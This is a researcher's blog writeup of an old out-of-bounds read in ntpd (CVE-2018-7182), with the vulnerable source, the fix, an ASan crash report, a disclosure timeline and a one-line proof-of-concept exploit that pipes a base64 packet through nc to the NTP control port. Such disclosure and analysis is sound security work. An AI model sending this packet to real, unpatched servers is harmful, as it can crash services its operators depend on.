_ _ _ / | ___| |_ ___ _| | _ / / | | _| . | . | |_|_/ |_|_|_| | _|___| |_| 2018-11-11 OOB read in ntpd - writeup on an old bug ======================================== This is just a short post on an old vuln I found, but cannot claim credit for since someone else privatly reported it before I did. (see timeline and proof below). It is exactly because of situations like this that I'm happy I published proof of discovery such that I at least can claim that I found it before it was public knowledge. The only new issue this blog posts brings is the POC exploit below. Version from 4.2.8 p6 to p10 are affected. The vuln is a simple missing bounds check resulting in OOB read. Proof of concept exploit: echo "FgoAAgAAAAAAAAA5bm9uY2U9ZGEzZWI1MWViMDI4ODhkYTIwOTY0MTljLCBmcmFncz0zMiwgbGFkZHIAMTI3LjAuMC4xAAAA" | base64 -d | nc -u -q -v 127.0.0.1 123 ASan report: 11 Jul 12:12:00 ntpd[23951]: ntpd 4.2.8p10@1.3728-o Tue Jul 11 09:26:17 UTC 2017 (1): Starting 11 Jul 12:12:00 ntpd[23951]: Command line: ntpd/ntpd -n -I lo -c /home/dude/resources/ntp.conf 11 Jul 12:12:00 ntpd[23951]: proto: precision = 0.079 usec (-24) 11 Jul 12:12:00 ntpd[23951]: switching logging to file /dev/null 11 Jul 12:12:00 ntpd[23951]: Listen and drop on 0 v6wildcard [::]:123 11 Jul 12:12:00 ntpd[23951]: Listen and drop on 1 v4wildcard 0.0.0.0:123 11 Jul 12:12:00 ntpd[23951]: Listen normally on 2 lo 127.0.0.1:123 11 Jul 12:12:00 ntpd[23951]: Listen normally on 3 lo [::1]:123 11 Jul 12:12:00 ntpd[23951]: Listening on routing socket on fd #20 for interface updates ================================================================= ==23951==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000e736 at pc 0x556c30b60164 bp 0x7fff5c3cd700 sp 0x7fff5c3cd6f8 READ of size 1 at 0x60200000e736 thread T0 #0 0x556c30b60163 in ctl_getitem /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:3098 #1 0x556c30b6e93d in read_mru_list /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:3974 #2 0x556c30b6a2db in process_control /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:1299 #3 0x556c30b96487 in receive /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_proto.c:660 #4 0x556c30b5debf in ntpdmain /home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd.c:1331 #5 0x556c30b5df57 in main /home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd.c:394 #6 0x7f5b12b93b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44) #7 0x556c30b35f18 (/home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd+0x5cf18) 0x60200000e736 is located 0 bytes to the right of 6-byte region [0x60200000e730,0x60200000e736) allocated by thread T0 here: #0 0x7f5b13ad39f6 in __interceptor_realloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x549f6) #1 0x556c30c175c7 in ereallocz /home/dude/projects/ntpd/p10/noinstru/libntp/emalloc.c:43 ANALYSIS ======== On line 3100 in ctl_getitem, the OOB read occure, as sp2 is dereferenced after being incremented to point to beyond the allocated data (v->text). ntpd/ntp_control.c: 3002 /* 3003 * ctl_getitem - get the next data item from the incoming packet 3004 */ 3005 static const struct ctl_var * 3006 ctl_getitem( 3007 const struct ctl_var *var_list, 3008 char **data 3009 ) 3010 { 3011 /* [Bug 3008] First check the packet data sanity, then search 3012 * the key. This improves the consistency of result values: If 3013 * the result is NULL once, it will never be EOV again for this 3014 * packet; If it's EOV, it will never be NULL again until the 3015 * variable is found and processed in a given 'var_list'. (That 3016 * is, a result is returned that is neither NULL nor EOV). 3017 */ 3018 static const struct ctl_var eol = { 0, EOV, NULL }; 3019 static char buf[128]; 3020 static u_long quiet_until; 3021 const struct ctl_var *v; 3022 char *cp; 3023 char *tp; 3024 3025 /* 3026 * Part One: Validate the packet state 3027 */ 3028 3029 /* Delete leading commas and white space */ 3030 while (reqpt < reqend && (*reqpt == ',' || 3031 isspace((unsigned char)*reqpt))) 3032 reqpt++; 3033 if (reqpt >= reqend) 3034 return NULL; 3035 3036 /* Scan the string in the packet until we hit comma or 3037 * EoB. Register position of first '=' on the fly. */ 3038 for (tp = NULL, cp = reqpt; cp != reqend; ++cp) { 3039 if (*cp == '=' && tp == NULL) 3040 tp = cp; 3041 if (*cp == ',') 3042 break; 3043 } 3044 3045 /* Process payload, if any. */ 3046 *data = NULL; 3047 if (NULL != tp) { 3048 /* eventually strip white space from argument. */ 3049 const char *plhead = tp + 1; /* skip the '=' */ 3050 const char *pltail = cp; 3051 size_t plsize; 3052 3053 while (plhead != pltail && isspace((u_char)plhead[0])) 3054 ++plhead; 3055 while (plhead != pltail && isspace((u_char)pltail[-1])) 3056 --pltail; 3057 3058 /* check payload size, terminate packet on overflow */ 3059 plsize = (size_t)(pltail - plhead); 3060 if (plsize >= sizeof(buf)) 3061 goto badpacket; 3062 3063 /* copy data, NUL terminate, and set result data ptr */ 3064 memcpy(buf, plhead, plsize); 3065 buf[plsize] = '\0'; 3066 *data = buf; 3067 } else { 3068 /* no payload, current end --> current name termination */ 3069 tp = cp; 3070 } 3071 3072 /* Part Two 3073 * 3074 * Now we're sure that the packet data itself is sane. Scan the 3075 * list now. Make sure a NULL list is properly treated by 3076 * returning a synthetic End-Of-Values record. We must not 3077 * return NULL pointers after this point, or the behaviour would 3078 * become inconsistent if called several times with different 3079 * variable lists after an EoV was returned. (Such a behavior 3080 * actually caused Bug 3008.) 3081 */ 3082 3083 if (NULL == var_list) 3084 return &eol; 3085 3086 for (v = var_list; !(EOV & v->flags); ++v) 3087 if (!(PADDING & v->flags)) { 3088 /* Check if the var name matches the buffer. The 3089 * name is bracketed by [reqpt..tp] and not NUL 3090 * terminated, and it contains no '=' char. The 3091 * lookup value IS NUL-terminated but might 3092 * include a '='... We have to look out for 3093 * that! 3094 */ 3095 const char *sp1 = reqpt; 3096 const char *sp2 = v->text; 3097 3098 while ((sp1 != tp) && (*sp1 == *sp2)) { 3099 ++sp1; 3100 ++sp2; 3101 } 3102 if (sp1 == tp && (*sp2 == '\0' || *sp2 == '=')) 3103 break; 3104 } The issue was fixed by changing the affected code to: 3145 /* [Bug 3412] do not compare past NUL byte in name */ 3146 while ( (sp1 != tp) 3147 && ('\0' != *sp2) && (*sp1 == *sp2)) { 3148 ++sp1; 3149 ++sp2; PROOF OF DISCOVERY ================== $ echo "FgoAAgAAAAAAAAA5bm9uY2U9ZGEzZWI1MWViMDI4ODhkYTIwOTY0MTljLCBmcmFncz0zMiwgbGFkZHIAMTI3LjAuMC4xAAAA" | base64 -d | sha256sum f4898586f8458b1d0a93219ee41711007d2b34792d32d61f991ee8c1fe6b820e - https://twitter.com/magnusstubman/status/952844326203256832 TIMELINE ======== 2017-06-15 Yihan Lian, a security researcher of Qihoo 360 GearTeam, reported the vuln (private bug report) 2017-07-10 I reported the vuln (private bug report) 2017-07-13 Vendor inform me that bug was already filed 2018-01-15 I realized that I hadn't posted proof of discovery to twitter yet, and did so 2018-02-16 CVE-2018-7182 allocated 2018-02-27 Vendor publicly discloses the issue and provides a patch (ntp-4.2.8p11.tar.gz) REFERENCES ========== - http://support.ntp.org/bin/view/Main/NtpBug3412 - https://bugs.ntp.org/show_bug.cgi?id=3412 - https://bugs.ntp.org/show_bug.cgi?id=3416 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7182 - https://nvd.nist.gov/vuln/detail/CVE-2018-7182 - https://www.exploit-db.com/exploits/45846/